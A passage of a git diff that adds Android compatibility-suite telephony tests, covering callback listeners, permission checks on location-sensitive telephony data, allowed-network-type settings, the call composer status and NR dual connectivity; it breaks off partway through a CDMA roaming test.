+                    // be known (set), but the device may or may not be barred at the moment,
+                    // so isConditionallyBarred() can be either true or false (hence not checked).
+                    assertNotEquals(0, bsi.getConditionalBarringFactor());
+                    assertNotEquals(0, bsi.getConditionalBarringTimeSeconds());
+                    assertEquals(bsi.isBarred(), bsi.isConditionallyBarred());
+                    break;
+            }
+        }
+        // If any barring type is unknown, then barring is not supported so all must be
+        // unknown. If any type is known, then all that are not reported are assumed to
+        // be not barred.
+        assertNotEquals(hasBarringTypeUnknown, hasBarringTypeKnown);
+    }
+
+    private RegistrationFailedListener mRegistrationFailedCallback;
+
+    private class RegistrationFailedListener extends TelephonyCallback
+            implements TelephonyCallback.RegistrationFailedListener {
+        @Override
+        public void onRegistrationFailed(CellIdentity cid, String chosenPlmn,
+                                         int domain, int causeCode, int additionalCauseCode) {
+            synchronized (mLock) {
+                mOnRegistrationFailedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnRegistrationFailedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnBarringInfoChangedCalled);
+        mHandler.post(() -> {
+            mRegistrationFailedCallback = new RegistrationFailedListener();
+            registerTelephonyCallbackWithPermission(mRegistrationFailedCallback);
+
+        });
+
+        synchronized (mLock) {
+            if (!mOnBarringInfoChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+
+        // Assert that in the WAIT_TIME interval, the listener wasn't invoked. While this is
+        // **technically** a flaky test, in practice this flake should happen approximately never
+        // as it would mean that a registered phone is failing to reselect during CTS at this
+        // exact moment.
+        //
+        // What the test is verifying is that there is no "auto" callback for registration
+        // failure because unlike other PSL registrants, this one is not called upon registration.
+        assertFalse(mOnRegistrationFailedCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnRegistrationFailedCalled, mRegistrationFailedCallback);
+    }
+
+    private PhysicalChannelConfigListener mPhysicalChannelConfigCallback;
+
+    private class PhysicalChannelConfigListener extends TelephonyCallback
+            implements TelephonyCallback.PhysicalChannelConfigListener {
+        @Override
+        public void onPhysicalChannelConfigChanged(
+                @NonNull List<PhysicalChannelConfig> configs) {
+            synchronized (mLock) {
+                mOnPhysicalChannelConfigCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnPhysicalChannelConfigChanged() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnPhysicalChannelConfigCalled);
+        mHandler.post(() -> {
+            mPhysicalChannelConfigCallback =
+                    new PhysicalChannelConfigListener();
+            registerTelephonyCallbackWithPermission(mPhysicalChannelConfigCallback);
+        });
+
+        synchronized (mLock) {
+            while (!mOnPhysicalChannelConfigCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        assertTrue(mOnPhysicalChannelConfigCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnPhysicalChannelConfigCalled,
+                mPhysicalChannelConfigCallback);
+    }
+
+    private DataEnabledListener mDataEnabledCallback;
+
+    private class DataEnabledListener extends TelephonyCallback
+            implements TelephonyCallback.DataEnabledListener {
+        @Override
+        public void onDataEnabledChanged(boolean enabled, @DataEnabledReason int reason) {
+            synchronized (mLock) {
+                mOnDataEnabledChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnDataEnabledChangedByRegisterTelephonyCallback() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnDataEnabledChangedCalled);
+        mHandler.post(() -> {
+            mDataEnabledCallback = new DataEnabledListener();
+            registerTelephonyCallbackWithPermission(mDataEnabledCallback);
+        });
+
+        synchronized (mLock) {
+            while (!mOnDataEnabledChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        assertTrue(mOnDataEnabledChangedCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnDataEnabledChangedCalled, mDataEnabledCallback);
+    }
+
+    private LinkCapacityEstimateChangedListener mLinkCapacityEstimateChangedListener;
+
+    private class LinkCapacityEstimateChangedListener extends TelephonyCallback
+            implements TelephonyCallback.LinkCapacityEstimateChangedListener {
+        @Override
+        public void onLinkCapacityEstimateChanged(
+                List<LinkCapacityEstimate> linkCapacityEstimateList) {
+            synchronized (mLock) {
+                mOnLinkCapacityEstimateChangedCalled = true;
+                mLock.notify();
+            }
+        }
+    }
+
+    @Test
+    public void testOnLinkCapacityEstimateChangedByRegisterPhoneStateListener() throws Throwable {
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            Log.d(TAG, "Skipping test that requires ConnectivityManager.TYPE_MOBILE");
+            return;
+        }
+
+        assertFalse(mOnLinkCapacityEstimateChangedCalled);
+        mHandler.post(() -> {
+            mLinkCapacityEstimateChangedListener = new LinkCapacityEstimateChangedListener();
+            registerTelephonyCallbackWithPermission(mLinkCapacityEstimateChangedListener);
+        });
+
+        synchronized (mLock) {
+            while (!mOnLinkCapacityEstimateChangedCalled) {
+                mLock.wait(WAIT_TIME);
+            }
+        }
+        assertTrue(mOnLinkCapacityEstimateChangedCalled);
+
+        // Test unregister
+        unRegisterTelephonyCallback(mOnLinkCapacityEstimateChangedCalled,
+                mLinkCapacityEstimateChangedListener);
+    }
+
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
index 7b522f7..ed9b38d 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyLocationTests.java
@@ -1,5 +1,7 @@
 package android.telephony.cts;
 
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
@@ -27,6 +29,7 @@
 import org.junit.Test;
 
 import java.util.List;
+import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.TimeUnit;
 
@@ -131,6 +134,28 @@
     }
 
     @Test
+    public void testSdk28ServiceStateListeningWithoutPermissions() {
+        if (!mShouldTest) return;
+
+        withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+                    ServiceState ss = (ServiceState) performLocationAccessCommand(
+                            CtsLocationAccessService.COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+                    assertNotNull(ss);
+                    assertNotEquals(ss, ss.createLocationInfoSanitizedCopy(false));
+
+                    withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+                                ServiceState ss1 = (ServiceState) performLocationAccessCommand(
+                                        CtsLocationAccessService
+                                                .COMMAND_GET_SERVICE_STATE_FROM_LISTENER);
+                                assertNotNull(ss1);
+                                assertNotEquals(ss1, ss1.createLocationInfoSanitizedCopy(true));
+                            },
+                            Manifest.permission.ACCESS_COARSE_LOCATION);
+                },
+                Manifest.permission.ACCESS_FINE_LOCATION);
+    }
+
+    @Test
     public void testRegistryPermissionsForCellLocation() {
         if (!mShouldTest) return;
 
@@ -150,6 +175,18 @@
     }
 
     @Test
+    public void testSdk28RegistryPermissionsForCellLocation() {
+        if (!mShouldTest) return;
+
+        withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+                    CellLocation cellLocation = (CellLocation) performLocationAccessCommand(
+                            CtsLocationAccessService.COMMAND_LISTEN_CELL_LOCATION);
+                    assertNull(cellLocation);
+                },
+                Manifest.permission.ACCESS_COARSE_LOCATION);
+    }
+
+    @Test
     public void testRegistryPermissionsForCellInfo() {
         if (!mShouldTest) return;
 
@@ -169,6 +206,18 @@
     }
 
     @Test
+    public void testSdk28RegistryPermissionsForCellInfo() {
+        if (!mShouldTest) return;
+
+        withRevokedPermission(LOCATION_ACCESS_APP_SDK28_PACKAGE, () -> {
+                    List<CellInfo> cis = (List<CellInfo>) performLocationAccessCommand(
+                            CtsLocationAccessService.COMMAND_LISTEN_CELL_INFO);
+                    assertTrue(cis == null || cis.isEmpty());
+                },
+                Manifest.permission.ACCESS_COARSE_LOCATION);
+    }
+
+    @Test
     public void testSdk28CellLocation() {
         if (!mShouldTest) return;
 
@@ -282,9 +331,45 @@
     }
 
     private void withRevokedPermission(String packageName, Runnable r, String permission) {
+        // Bind to the appropriate testapp first so that we know when the permission has been fully
+        // revoked -- that way after we bind again we know it's not going to be killed
+        // due to a race condition.
+
+        Intent bindIntent = new Intent(CtsLocationAccessService.CONTROL_ACTION);
+        bindIntent.setComponent(new ComponentName(packageName,
+                CtsLocationAccessService.class.getName()));
+
+        CompletableFuture<Void> bindSuccess = new CompletableFuture<>();
+        CompletableFuture<Void> serviceKilled = new CompletableFuture<>();
+        InstrumentationRegistry.getContext().bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                bindSuccess.complete(null);
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                serviceKilled.complete(null);
+            }
+        }, Context.BIND_AUTO_CREATE);
+
+        try {
+            bindSuccess.get(TEST_TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (Exception e) {
+            fail("unable to perform initial bind probe when revoking permissions:" + e);
+        }
+
         InstrumentationRegistry.getInstrumentation()
                 .getUiAutomation().revokeRuntimePermission(packageName, permission);
+
         try {
+            try {
+                serviceKilled.get(TEST_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (Exception e) {
+                fail("unable to verify disconnect of initial bind probe when"
+                        + " revoking permissions:" + e);
+            }
+
             r.run();
         } finally {
             InstrumentationRegistry.getInstrumentation()
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
index 246e953..af2cdf03 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/TelephonyManagerTest.java
@@ -29,6 +29,7 @@
 import static org.junit.Assert.fail;
 
 import android.Manifest.permission;
+import android.annotation.NonNull;
 import android.app.UiAutomation;
 import android.bluetooth.BluetoothAdapter;
 import android.content.BroadcastReceiver;
@@ -56,15 +57,26 @@
 import android.telephony.CallForwardingInfo;
 import android.telephony.CallQuality;
 import android.telephony.CarrierConfigManager;
+import android.telephony.CellIdentity;
+import android.telephony.CellIdentityLte;
+import android.telephony.CellIdentityNr;
+import android.telephony.CellInfo;
 import android.telephony.CellLocation;
+import android.telephony.DataThrottlingRequest;
 import android.telephony.NetworkRegistrationInfo;
 import android.telephony.PhoneStateListener;
+import android.telephony.PinResult;
 import android.telephony.PreciseCallState;
 import android.telephony.RadioAccessFamily;
 import android.telephony.ServiceState;
+import android.telephony.SignalStrength;
+import android.telephony.SignalStrengthUpdateRequest;
+import android.telephony.SignalThresholdInfo;
 import android.telephony.SubscriptionInfo;
 import android.telephony.SubscriptionManager;
+import android.telephony.TelephonyCallback;
 import android.telephony.TelephonyManager;
+import android.telephony.ThermalMitigationRequest;
 import android.telephony.UiccCardInfo;
 import android.telephony.UiccSlotInfo;
 import android.telephony.data.ApnSetting;
@@ -117,6 +129,8 @@
     private SubscriptionManager mSubscriptionManager;
     private PackageManager mPackageManager;
     private boolean mOnCellLocationChangedCalled = false;
+    private boolean mOnCellInfoChanged = false;
+    private boolean mOnSignalStrengthsChanged = false;
     private boolean mServiceStateChangedCalled = false;
     private boolean mRadioRebootTriggered = false;
     private boolean mHasRadioPowerOff = false;
@@ -173,6 +187,8 @@
     private static final String TESTING_PLMN = "12345";
 
     private static final int RADIO_HAL_VERSION_1_3 = makeRadioVersion(1, 3);
+    private static final int RADIO_HAL_VERSION_1_5 = makeRadioVersion(1, 5);
+    private static final int RADIO_HAL_VERSION_1_6 = makeRadioVersion(1, 6);
 
     static {
         EMERGENCY_NUMBER_SOURCE_SET = new HashSet<Integer>();
@@ -199,6 +215,8 @@
     private int mTestSub;
     private TelephonyManagerTest.CarrierConfigReceiver mReceiver;
     private int mRadioVersion;
+    private boolean mIsAllowedNetworkTypeChanged;
+    private Map<Integer, Long> mAllowedNetworkTypesList = new HashMap<>();
 
     private static class CarrierConfigReceiver extends BroadcastReceiver {
         private CountDownLatch mLatch = new CountDownLatch(1);
@@ -245,6 +263,9 @@
         IntentFilter filter = new IntentFilter(CarrierConfigManager.ACTION_CARRIER_CONFIG_CHANGED);
         // ACTION_CARRIER_CONFIG_CHANGED is sticky, so we will get a callback right away.
         getContext().registerReceiver(mReceiver, filter);
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PHONE_STATE");
+        saveAllowedNetworkTypesForAllReasons();
     }
 
     @After
@@ -257,6 +278,61 @@
             getContext().unregisterReceiver(mReceiver);
             mReceiver = null;
         }
+        if (mIsAllowedNetworkTypeChanged) {
+            recoverAllowedNetworkType();
+        }
+    }
+
+    private void saveAllowedNetworkTypesForAllReasons() {
+        mIsAllowedNetworkTypeChanged = false;
+        if (mAllowedNetworkTypesList == null) {
+            mAllowedNetworkTypesList = new HashMap<>();
+        }
+        long allowedNetworkTypesUser = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER);
+                }
+        );
+        long allowedNetworkTypesPower = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+                }
+        );
+        long allowedNetworkTypesCarrier = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER);
+                }
+        );
+        long allowedNetworkTypesEnable2g = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> {
+                    return tm.getAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G);
+                }
+        );
+        mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER,
+                allowedNetworkTypesUser);
+        mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
+                allowedNetworkTypesPower);
+        mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER,
+                allowedNetworkTypesCarrier);
+        mAllowedNetworkTypesList.put(TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G,
+                allowedNetworkTypesEnable2g);
+    }
+
+    private void recoverAllowedNetworkType() {
+        if (mAllowedNetworkTypesList == null) {
+            return;
+        }
+        for (Integer key : mAllowedNetworkTypesList.keySet()) {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            key,
+                            mAllowedNetworkTypesList.get(key)));
+        }
     }
 
     private String getCertHash(String pkgName) throws Exception {
@@ -377,6 +453,7 @@
             // expected
         }
     }
+
     @Test
     public void testListen() throws Throwable {
         if (!InstrumentationRegistry.getContext().getPackageManager()
@@ -622,15 +699,18 @@
             assertTrue((receivedForwardingInfo.get() != null) ^ (receivedErrorCode.get() != null));
             if (receivedForwardingInfo.get() != null) {
                 CallForwardingInfo info = receivedForwardingInfo.get();
-                assertTrue(callForwardingReasons.contains(info.getReason()));
+                assertTrue("Got reason not in expected set:" + info.getReason(),
+                        callForwardingReasons.contains(info.getReason()));
                 if (info.isEnabled()) {
                     assertNotNull(info.getNumber());
-                    assertTrue(info.getTimeoutSeconds() >= 0);
+                    assertTrue("Got negative timeoutSeconds=" + info.getTimeoutSeconds(),
+                            info.getTimeoutSeconds() >= 0);
                 }
             }
 
             if (receivedErrorCode.get() != null) {
-                assertTrue(callForwardingErrors.contains(receivedErrorCode.get()));
+                assertTrue("Got code not in expected set:" + receivedErrorCode.get(),
+                        callForwardingErrors.contains(receivedErrorCode.get()));
             }
         }
     }
@@ -1069,6 +1149,14 @@
         // succeeds, so just make sure nothing crashes.
         ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
                 tp -> tp.setSystemSelectionChannels(Collections.emptyList()));
+
+        // getSystemSelectionChannels was added in IRadio 1.6, so ensure it returns
+        // the value that was set by setSystemSelectionChannels.
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+            assertEquals(Collections.emptyList(),
+                    ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    TelephonyManager::getSystemSelectionChannels));
+        }
     }
 
     @Test
@@ -1228,6 +1316,11 @@
             return;
         }
 
+        // mc and meid should either be null or supported. empty string is not expected even if
+        // the device does not support mc/meid.
+        assertNotEquals("", mc);
+        assertNotEquals("", meid);
+
         if (mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
                 assertEquals(meid.substring(0, 8), mc);
@@ -1397,6 +1490,8 @@
                 mLock.wait(60000);
             }
         }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity("android.permission.READ_PHONE_STATE");
         assertThat(mTelephonyManager.getServiceState().getState()).isEqualTo(
                 ServiceState.STATE_IN_SERVICE);
     }
@@ -2039,6 +2134,36 @@
     }
 
     /**
+     * Tests TelephonyManager.getEmergencyNumberList(@EmergencyServiceCategories int categories).
+     *
+     */
+    @Test
+    public void testGetEmergencyNumberListForCategories() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        Map<Integer, List<EmergencyNumber>> emergencyNumberList =
+                mTelephonyManager.getEmergencyNumberList(
+                        EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_POLICE);
+
+        assertFalse(emergencyNumberList == null);
+
+        checkEmergencyNumberFormat(emergencyNumberList);
+
+        int defaultSubId = mSubscriptionManager.getDefaultSubscriptionId();
+        final String country_us = "us";
+        final String country_us_police_number = "911";
+        if (mTelephonyManager.getNetworkCountryIso().equals(country_us)) {
+            assertTrue(checkIfEmergencyNumberListHasSpecificAddress(
+                    emergencyNumberList.get(defaultSubId), country_us_police_number));
+        }
+        for (EmergencyNumber num : emergencyNumberList.get(defaultSubId)) {
+            assertTrue(num.isInEmergencyServiceCategories(
+                    EmergencyNumber.EMERGENCY_SERVICE_CATEGORY_POLICE));
+        }
+    }
+
+    /**
      * Tests TelephonyManager.isEmergencyNumber.
      *
      * Also enforce country-specific emergency number in CTS.
@@ -2080,6 +2205,59 @@
     }
 
     /**
+     * Tests TelephonyManager.setCallComposerStatus and TelephonyManager.getCallComposerStatus.
+     */
+    @Test
+    public void testSetGetCallComposerStatus() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        boolean hasImsFeature = mPackageManager.hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY_IMS);
+
+        if (hasImsFeature) {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_OFF));
+            int status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(
+                            TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_ON));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_ON);
+        } else {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_OFF));
+            int status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(TelephonyManager.CALL_COMPOSER_STATUS_ON));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mTelephonyManager,
+                    tm -> tm.setCallComposerStatus(
+                            TelephonyManager.CALL_COMPOSER_STATUS_ON_NO_PICTURES));
+            status = ShellIdentityUtils.invokeMethodWithShellPermissions(mTelephonyManager,
+                    tm -> tm.getCallComposerStatus());
+            assertThat(status).isEqualTo(TelephonyManager.CALL_COMPOSER_STATUS_OFF);
+        }
+    }
+
+    /**
      * Tests {@link TelephonyManager#getSupportedRadioAccessFamily()}
      */
     @Test
@@ -2625,6 +2803,116 @@
     }
 
     @Test
+    public void testSetAllowedNetworkTypesForReason() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        // test without permission: verify SecurityException
+        long allowedNetworkTypes = TelephonyManager.NETWORK_TYPE_BITMASK_NR;
+        try {
+            mIsAllowedNetworkTypeChanged = true;
+            mTelephonyManager.setAllowedNetworkTypesForReason(
+                    TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER, allowedNetworkTypes);
+            fail("testSetPolicyDataEnabled: SecurityException expected");
+        } catch (SecurityException se) {
+            // expected
+        }
+
+        // test with permission
+        try {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
+                            allowedNetworkTypes));
+
+            long deviceAllowedNetworkTypes = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+                    }
+            );
+            assertEquals(allowedNetworkTypes, deviceAllowedNetworkTypes);
+        } catch (SecurityException se) {
+            fail("testSetAllowedNetworkTypes: SecurityException not expected");
+        }
+    }
+
+    @Test
+    public void testSetAllowedNetworkTypesForReason_moreReason() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        // test without permission: verify SecurityException
+        long allowedNetworkTypes1 = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+                | TelephonyManager.NETWORK_TYPE_BITMASK_UMTS;
+        long allowedNetworkTypes2 = TelephonyManager.NETWORK_TYPE_BITMASK_LTE
+                | TelephonyManager.NETWORK_TYPE_BITMASK_LTE_CA;
+        long allowedNetworkTypes3 = TelephonyManager.NETWORK_TYPE_BITMASK_NR
+                | TelephonyManager.NETWORK_TYPE_BITMASK_LTE
+                | TelephonyManager.NETWORK_TYPE_BITMASK_UMTS;
+        long allowedNetworkTypes4 = TelephonyManager.NETWORK_TYPE_LTE
+                | TelephonyManager.NETWORK_TYPE_EVDO_B;
+
+        try {
+            mIsAllowedNetworkTypeChanged = true;
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER,
+                            allowedNetworkTypes1));
+
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER,
+                            allowedNetworkTypes2));
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER,
+                            allowedNetworkTypes3));
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                    mTelephonyManager,
+                    (tm) -> tm.setAllowedNetworkTypesForReason(
+                            TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G,
+                            allowedNetworkTypes4));
+            long deviceAllowedNetworkTypes1 = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_POWER);
+                    }
+            );
+            long deviceAllowedNetworkTypes2 = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_USER);
+                    }
+            );
+            long deviceAllowedNetworkTypes3 = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_CARRIER);
+                    }
+            );
+            long deviceAllowedNetworkTypes4 = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                    mTelephonyManager, (tm) -> {
+                        return tm.getAllowedNetworkTypesForReason(
+                                TelephonyManager.ALLOWED_NETWORK_TYPES_REASON_ENABLE_2G);
+                    }
+            );
+            assertEquals(allowedNetworkTypes1, deviceAllowedNetworkTypes1);
+            assertEquals(allowedNetworkTypes2, deviceAllowedNetworkTypes2);
+            assertEquals(allowedNetworkTypes3, deviceAllowedNetworkTypes3);
+            assertEquals(allowedNetworkTypes4, deviceAllowedNetworkTypes4);
+        } catch (SecurityException se) {
+            fail("testSetAllowedNetworkTypes: SecurityException not expected");
+        }
+    }
+
+    @Test
     public void testIsApplicationOnUicc() {
         if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
             return;
@@ -2963,6 +3251,630 @@
         assertTrue(isDataConnectionAvailable);
     }
 
+    @Test
+    public void testGetCdmaEnhancedRoamingIndicatorDisplayNumber() {
+        int index = mTelephonyManager.getCdmaEnhancedRoamingIndicatorDisplayNumber();
+        int phoneType = mTelephonyManager.getPhoneType();
+        if (phoneType == TelephonyManager.PHONE_TYPE_CDMA) {
+            assertTrue(index >= 0 && index <= 255);
+        } else {
+            assertEquals(-1, index);
+        }
+    }
+
+    private void disableNrDualConnectivity() {
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
+                (tm) -> tm.setNrDualConnectivityState(
+                        TelephonyManager.NR_DUAL_CONNECTIVITY_DISABLE));
+
+        boolean isNrDualConnectivityEnabled =
+                ShellIdentityUtils.invokeMethodWithShellPermissions(
+                        mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
+        // Only verify the result for supported devices on IRadio 1.6+
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+            assertFalse(isNrDualConnectivityEnabled);
+        }
+    }
+
+    @Test
+    public void testNrDualConnectivityEnable() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        boolean isInitiallyEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
+        boolean isNrDualConnectivityEnabled;
+        if (isInitiallyEnabled) {
+            disableNrDualConnectivity();
+        }
+
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                mTelephonyManager,
+                (tm) -> tm.setNrDualConnectivityState(
+                        TelephonyManager.NR_DUAL_CONNECTIVITY_ENABLE));
+        isNrDualConnectivityEnabled = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mTelephonyManager, (tm) -> tm.isNrDualConnectivityEnabled());
+        // Only verify the result for supported devices on IRadio 1.6+
+        if (mRadioVersion >= RADIO_HAL_VERSION_1_6) {
+            assertTrue(isNrDualConnectivityEnabled);
+        }
+
+        if (!isInitiallyEnabled) {
+            disableNrDualConnectivity();
+        }
+    }
+
+    @Test
+    public void testCdmaRoamingMode() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+                || mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_CDMA) {
+            return;
+        }
+
+        // Save state
